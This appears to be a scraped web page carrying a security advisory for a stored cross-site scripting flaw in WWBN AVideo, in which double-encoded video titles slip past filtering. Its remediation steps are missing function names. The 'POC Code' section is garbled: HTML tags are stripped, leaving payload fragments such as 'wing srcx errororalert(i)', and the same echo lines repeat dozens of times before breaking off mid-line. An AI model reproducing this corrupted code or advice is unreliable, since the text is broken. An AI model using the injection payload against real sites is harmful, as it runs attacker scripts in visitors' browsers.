WWBN AVideo Stored XSS Vulnerability via Video Title Bypass

Vulnerability Overview A stored Cross-Site Scripting (XSS) vulnerability exists in WWBN AVideo version 29.2.0 and earlier. Attackers can upload video titles containing malicious scripts via permission-allowed uploads, thereby executing malicious code in the browsers of visitors. This vulnerability bypasses the filtering mechanism of through double-encoding of video titles, causing malicious scripts to be executed across multiple pages. Affected Versions Affected Versions: WWBN AVideo 12.4 to 29.2.0 Fixed Versions: None Remediation Recommended remediation directions include: 1. Escape the title upon output (using ). 2. Decode within , rather than after . 3. Alternatively, do not decode, as doing so leads to the same issue. POC Code ```php POST title: " . $storedTitle[$x] . ""; echo "after setTitle: " . setTitle($x) . ""; echo "stored (save): " . $stored . ""; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell: wing srcx errororalert(i)"; echo "new report cell: "; echo "after setTitle: >"; echo "stored (save): "; echo "old report cell

Goal Reached Thanks to every supporter — we hit 100%!

WWBN AVideo Stored XSS Vulnerability via Video Title Bypass

More from this source